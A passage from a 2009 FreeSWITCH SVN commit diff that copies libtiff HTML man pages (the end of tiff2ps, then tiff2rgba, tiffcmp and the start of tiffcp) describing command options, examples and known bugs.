+<p>Generate output for all IFDs (pages) in the input
+file.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;b</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Specify the bottom margin for the output (in inches).
+This does not affect the height of the printed image.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;c</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Center the image in the output. This option only shows
+an effect if both the -w and the -h option are given.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;d</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Set the initial <small>TIFF</small> directory to the
+specified directory number. (NB: directories are numbered
+starting at zero.) This option is useful for selecting
+individual pages in a multi-page (e.g. facsimile) file.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;e</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Force the generation of Encapsulated (implies -z).</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;h</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Specify the vertical size of the printed area (in
+inches).</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;H</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Specify the maximum height of image (in inches). Images
+with larger sizes will be split in several pages. Option
+<b>&minus;L</b> may be used for specifying size of split
+images overlapping.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;i</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Enable/disable pixel interpolation. This option requires
+a single numeric value: zero to disable pixel interpolation
+and non-zero to enable. The default is enabled.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;L</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Specify the size of overlapping for split images (in
+inches). Used in conjunction with <b>&minus;H</b>
+option.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;l</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Specify the left margin for the output (in inches). This
+does not affect the width of the printed image.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;m</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Where possible render using the <b>imagemask</b>
+operator instead of the image operator. When this option is
+specified <i>tiff2ps</i> will use <b>imagemask</b> for
+rendering 1 bit deep images. If this option is not specified
+or if the image depth is greater than 1 then the image
+operator is used.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;o</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Set the initial <small>TIFF</small> directory to the
+<small>IFD</small> at the specified file offset. This option
+is useful for selecting thumbnail images and the like which
+are hidden using the SubIFD tag.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;p</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Force the generation of (non-Encapsulated) .</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;r</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Rotate image by 180 degrees.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;s</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Generate output for a single IFD (page) in the input
+file.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;w</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Specify the horizontal size of the printed area (in
+inches).</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;x</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Override resolution units specified in the TIFF as
+centimeters.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;y</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Override resolution units specified in the TIFF as
+inches.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;z</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>When generating Level 2, data is scaled so that it does
+not image into the <i>deadzone</i> on a page (the outer
+margin that the printing device is unable to mark). This
+option suppresses this behavior. When Level 1 is generated,
+data is imaged to the entire printed page and this option
+has no affect.</p>
+</td>
+<td width="0%">
+</td>
+</table>
+<a name="EXAMPLES"></a>
+<h2>EXAMPLES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>The following generates Level 2 for all pages of a
+facsimile:</p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="17%"></td>
+<td width="82%">
+<pre>tiff2ps -a2 fax.tif | lpr
+</pre>
+</td>
+</table>
+<!-- INDENTATION -->
+
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>Note also that if you have version 2.6.1 or newer of
+Ghostscript then you can efficiently preview facsimile
+generated with the above command.</p>
+<!-- INDENTATION -->
+<p>To generate Encapsulated for a the image at directory 2
+of an image use:</p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="17%"></td>
+<td width="82%">
+<pre>tiff2ps -d 1 foo.tif
+</pre>
+</td>
+</table>
+<!-- INDENTATION -->
+
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>(notice that directories are numbered starting at
+zero.)</p>
+<!-- INDENTATION -->
+<p>If you have a long image, it may be split in several
+pages:</p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="17%"></td>
+<td width="82%">
+<pre>tiff2ps -h11 -w8.5 -H14 -L.5 foo.tif &gt; foo.ps
+</pre>
+</td>
+</table>
+<!-- INDENTATION -->
+
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>The page size is set to 8.5x11 by <b>&minus;w</b> and
+<b>&minus;h</b> options. We will accept a small amount of
+vertical compression, so <b>&minus;H</b> set to 14. Any
+pages between 11 and 14 inches will be fit onto one page.
+Pages longer than 14 inches are cut off at 11 and continued
+on the next page. The <b>&minus;L.5</b> option says to
+repeat a half inch on the next page (to improve
+readability).</p>
+</td>
+</table>
+<a name="BUGS"></a>
+<h2>BUGS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>Because does not support the notion of a colormap, 8-bit
+palette images produce 24-bit images. This conversion
+results in output that is six times bigger than the original
+image and which takes a long time to send to a printer over
+a serial line. Matters are even worse for 4-, 2-, and 1-bit
+palette images.</p>
+</td>
+</table>
+<a name="BUGS"></a>
+<h2>BUGS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>Does not handle tiled images when generating PS Level I
+output.</p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>pal2rgb</b>(1), <b>tiffinfo</b>(1), <b>tiffcp</b>(1),
+<b>tiffgt</b>(1), <b>tiffmedian</b>(1), <b>tiff2bw</b>(1),
+<b>tiffsv</b>(1), <b>libtiff</b>(3)</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiff2rgba.1.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiff2rgba.1.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/tiff2rgba.1.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiff2rgba.1.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiff2rgba.1.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,161 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:13 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>TIFF2RGBA</title>
+</head>
+<body>
+
+<h1 align=center>TIFF2RGBA</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#OPTIONS">OPTIONS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>tiff2rgba &minus; convert a <small>TIFF</small> image to
+RGBA color space</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>tiff2rgba</b> [ options ] <i>input.tif
+output.tif</i></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>Tiff2rgba</i> converts a wide variety of TIFF images
+into an RGBA TIFF image. This includes the ability to
+translate different color spaces and photometric
+interpretation into RGBA, support for alpha blending, and
+translation of many different bit depths into a 32bit RGBA
+image.</p>
+<!-- INDENTATION -->
+<p>Internally this program is implemented using the
+<i>TIFFReadRGBAImage()</i> function, and it suffers any
+limitations of that image. This includes limited support for
+&gt; 8 BitsPerSample images, and flaws with some esoteric
+combinations of BitsPerSample, photometric interpretation,
+block organization and planar configuration.</p>
+<!-- INDENTATION -->
+<p>The generated images are stripped images with four
+samples per pixel (red, green, blue and alpha) or if the -n
+flag is used, three samples per pixel (red, green, and
+blue). The resulting images are always planar configuration
+contiguous. For this reason, this program is a useful
+utility for transform exotic TIFF files into a form
+ingestible by almost any TIFF supporting software.</p>
+</td>
+</table>
+<a name="OPTIONS"></a>
+<h2>OPTIONS</h2>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="5" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="11%"></td>
+<td width="2%">
+
+<p><b>&minus;c</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Specify a compression scheme to use when writing image
+data: <b>&minus;c none</b> for no compression (the default),
+<b>-c packbits</b> for the PackBits compression algorithm,
+<b>-c zip</b> for the Deflate compression algorithm, <b>-c
+jpeg</b> for the JPEG compression algorithm, and <b>&minus;c
+lzw</b> for Lempel-Ziv &amp; Welch.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="11%"></td>
+<td width="2%">
+
+<p><b>&minus;r</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Write data with a specified number of rows per strip; by
+default the number of rows/strip is selected so that each
+strip is approximately 8 kilobytes.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="11%"></td>
+<td width="2%">
+
+<p><b>&minus;b</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Process the image one block (strip/tile) at a time
+instead of by reading the whole image into memory at once.
+This may be necessary for very large images on systems with
+limited RAM.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="11%"></td>
+<td width="2%">
+
+<p><b>&minus;n</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Drop the alpha component from the output file, producing
+a pure RGB file. Currently this does not work if the -b flag
+is also in effect.</p>
+</td>
+<td width="0%">
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>tiff2bw</b>(1), <b>TIFFReadRGBAImage</b>(3t),
+<b>libtiff</b>(3)</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiffcmp.1.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiffcmp.1.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/tiffcmp.1.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiffcmp.1.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiffcmp.1.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,156 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:13 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>TIFFCMP</title>
+</head>
+<body>
+
+<h1 align=center>TIFFCMP</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#OPTIONS">OPTIONS</a><br>
+<a href="#BUGS">BUGS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>tiffcmp &minus; compare two <small>TIFF</small> files</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>tiffcmp</b> [ <i>options</i> ] <i>file1.tif
+file2.tif</i></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>Tiffcmp</i> compares the tags and data in two files
+created according to the Tagged Image File Format, Revision
+6.0. The schemes used for compressing data in each file are
+immaterial when data are compared&minus;data are compared on
+a scanline-by-scanline basis after decompression. Most
+directory tags are checked; notable exceptions are:
+<i>GrayResponseCurve</i>, <i>ColorResponseCurve</i>, and
+<i>ColorMap</i> tags. Data will not be compared if any of
+the <i>BitsPerSample</i>, <i>SamplesPerPixel</i>, or
+<i>ImageWidth</i> values are not equal. By default,
+<i>tiffcmp</i> will terminate if it encounters any
+difference.</p>
+</td>
+</table>
+<a name="OPTIONS"></a>
+<h2>OPTIONS</h2>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="5" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="11%"></td>
+<td width="2%">
+
+<p><b>&minus;l</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>List each byte of image data that differs between the
+files.</p>
+</td>
+<td width="0%">
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>&minus;z number</b></p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="19%"></td>
+<td width="80%">
+<p>List specified number of image data bytes that differs
+between the files.</p>
+</td>
+</table>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="5" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="2%">
+
+<p><b>&minus;t</b></p>
+</td>
+<td width="11%"></td>
+<td width="52%">
+
+<p>Ignore any differences in directory tags.</p>
+</td>
+<td width="23%">
+</td>
+</table>
+<a name="BUGS"></a>
+<h2>BUGS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>Tags that are not recognized by the library are not
+compared; they may also generate spurious diagnostics.</p>
+<!-- INDENTATION -->
+<p>The image data of tiled files is not compared, since the
+TIFFReadScanline() function is used. A error will be
+reported for tiled files.</p>
+<!-- INDENTATION -->
+<p>The pixel and/or sample number reported in differences
+may be off in some exotic cases.</p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>pal2rgb</b>(1), <b>tiffcp</b>(1),
+<b>tiffmedian</b>(1), <b>libtiff</b>(3TIFF)</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiffcp.1.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiffcp.1.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/tiffcp.1.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiffcp.1.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/tiffcp.1.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,484 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:13 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>TIFFCP</title>
+</head>
+<body>
+
+<h1 align=center>TIFFCP</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#OPTIONS">OPTIONS</a><br>
+<a href="#EXAMPLES">EXAMPLES</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>tiffcp &minus; copy (and possibly convert) a
+<small>TIFF</small> file</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>tiffcp</b> [ <i>options</i> ] <i>src1.tif ... srcN.tif
+dst.tif</i></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>tiffcp</i> combines one or more files created
+according to the Tag Image File Format, Revision 6.0 into a
+single <small>TIFF</small> file. Because the output file may
+be compressed using a different algorithm than the input
+files, <i>tiffcp</i> is most often used to convert between
+different compression schemes.</p>
+<!-- INDENTATION -->
+<p>By default, <i>tiffcp</i> will copy all the understood
+tags in a <small>TIFF</small> directory of an input file to
+the associated directory in the output file.</p>
+<!-- INDENTATION -->
+<p><i>tiffcp</i> can be used to reorganize the storage
+characteristics of data in a file, but it is explicitly
+intended to not alter or convert the image data content in
+any way.</p>
+</td>
+</table>
+<a name="OPTIONS"></a>
+<h2>OPTIONS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>&minus;b image</b></p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="19%"></td>
+<td width="80%">
+<p>subtract the following monochrome image from all others
+processed. This can be used to remove a noise bias from a
+set of images. This bias image is typically an image of
+noise the camera saw with its shutter closed.</p>
+</td>
+</table>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="5" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;B</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Force output to be written with Big-Endian byte order.
+This option only has an effect when the output file is
+created or overwritten and not when it is appended to.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;C</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Suppress the use of &lsquo;&lsquo;strip
+chopping&rsquo;&rsquo; when reading images that have a
+single strip/tile of uncompressed data.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;c</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Specify the compression to use for data written to the
+output file: <b>none</b> for no compression, <b>packbits</b>
+for PackBits compression, <b>lzw</b> for Lempel-Ziv &amp;
+Welch compression, <b>jpeg</b> for baseline JPEG
+compression, <b>zip</b> for Deflate compression, <b>g3</b>
+for CCITT Group 3 (T.4) compression, and <b>g4</b> for CCITT
+Group 4 (T.6) compression. By default <i>tiffcp</i> will
+compress data according to the value of the
+<i>Compression</i> tag found in the source file.</p>
+</td>
+<td width="0%">
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="17%"></td>
+<td width="82%">
+<p>The <small>CCITT</small> Group 3 and Group 4 compression
+algorithms can only be used with bilevel data.</p>
+<!-- INDENTATION -->
+<p>Group 3 compression can be specified together with
+several T.4-specific options: <b>1d</b> for 1-dimensional
+encoding, <b>2d</b> for 2-dimensional encoding, and
+<b>fill</b> to force each encoded scanline to be zero-filled
+so that the terminating EOL code lies on a byte boundary.
+Group 3-specific options are specified by appending a
+&lsquo;&lsquo;:&rsquo;&rsquo;-separated list to the
+&lsquo;&lsquo;g3&rsquo;&rsquo; option; e.g. <b>&minus;c
+g3:2d:fill</b> to get 2D-encoded data with byte-aligned EOL
+codes.</p>
+<!-- INDENTATION -->
+<p><small>LZW</small> compression can be specified together
+with a <i>predictor</i> value. A predictor value of 2 causes
+each scanline of the output image to undergo horizontal
+differencing before it is encoded; a value of 1 forces each
+scanline to be encoded without differencing. LZW-specific
+options are specified by appending a
+&lsquo;&lsquo;:&rsquo;&rsquo;-separated list to the
+&lsquo;&lsquo;lzw&rsquo;&rsquo; option; e.g. <b>&minus;c
+lzw:2</b> for <small>LZW</small> compression with horizontal
+differencing.</p>
+</td>
+</table>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="5" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;f</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Specify the bit fill order to use in writing output
+data. By default, <i>tiffcp</i> will create a new file with
+the same fill order as the original. Specifying <b>&minus;f
+lsb2msb</b> will force data to be written with the FillOrder
+tag set to <small>LSB2MSB,</small> while <b>&minus;f
+msb2lsb</b> will force data to be written with the FillOrder
+tag set to <small>MSB2LSB.</small></p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;l</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Specify the length of a tile (in pixels). <i>tiffcp</i>
+attempts to set the tile dimensions so that no more than 8
+kilobytes of data appear in a tile.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;L</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Force output to be written with Little-Endian byte
+order. This option only has an effect when the output file
+is created or overwritten and not when it is appended
+to.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;M</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Suppress the use of memory-mapped files when reading
+images.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;p</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Specify the planar configuration to use in writing image
+data that has one 8-bit sample per pixel. By default,
+<i>tiffcp</i> will create a new file with the same planar
+configuration as the original. Specifying <b>&minus;p
+contig</b> will force data to be written with multi-sample
+data packed together, while <b>&minus;p separate</b> will
+force samples to be written in separate planes.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;r</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Specify the number of rows (scanlines) in each strip of
+data written to the output file. By default (or when value
+<b>0</b> is specified), <i>tiffcp</i> attempts to set the
+rows/strip that no more than 8 kilobytes of data appear in a
+strip. If you specify special value <b>-1</b> it will
+results in infinite number of the rows per strip. The entire
+image will be the one strip in that case.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;s</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Force the output file to be written with data organized
+in strips (rather than tiles).</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;t</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Force the output file to be written with data organized
+in tiles (rather than strips). options can be used to force
+the resultant image to be written as strips or tiles of
+data, respectively.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;w</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Specify the width of a tile (in pixels). <i>tiffcp</i>
+attempts to set the tile dimensions so that no more than 8
+kilobytes of data appear in a tile. <i>tiffcp</i> attempts
+to set the tile dimensions so that no more than 8 kilobytes
+of data appear in a tile.</p>
+</td>
+<td width="0%">
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
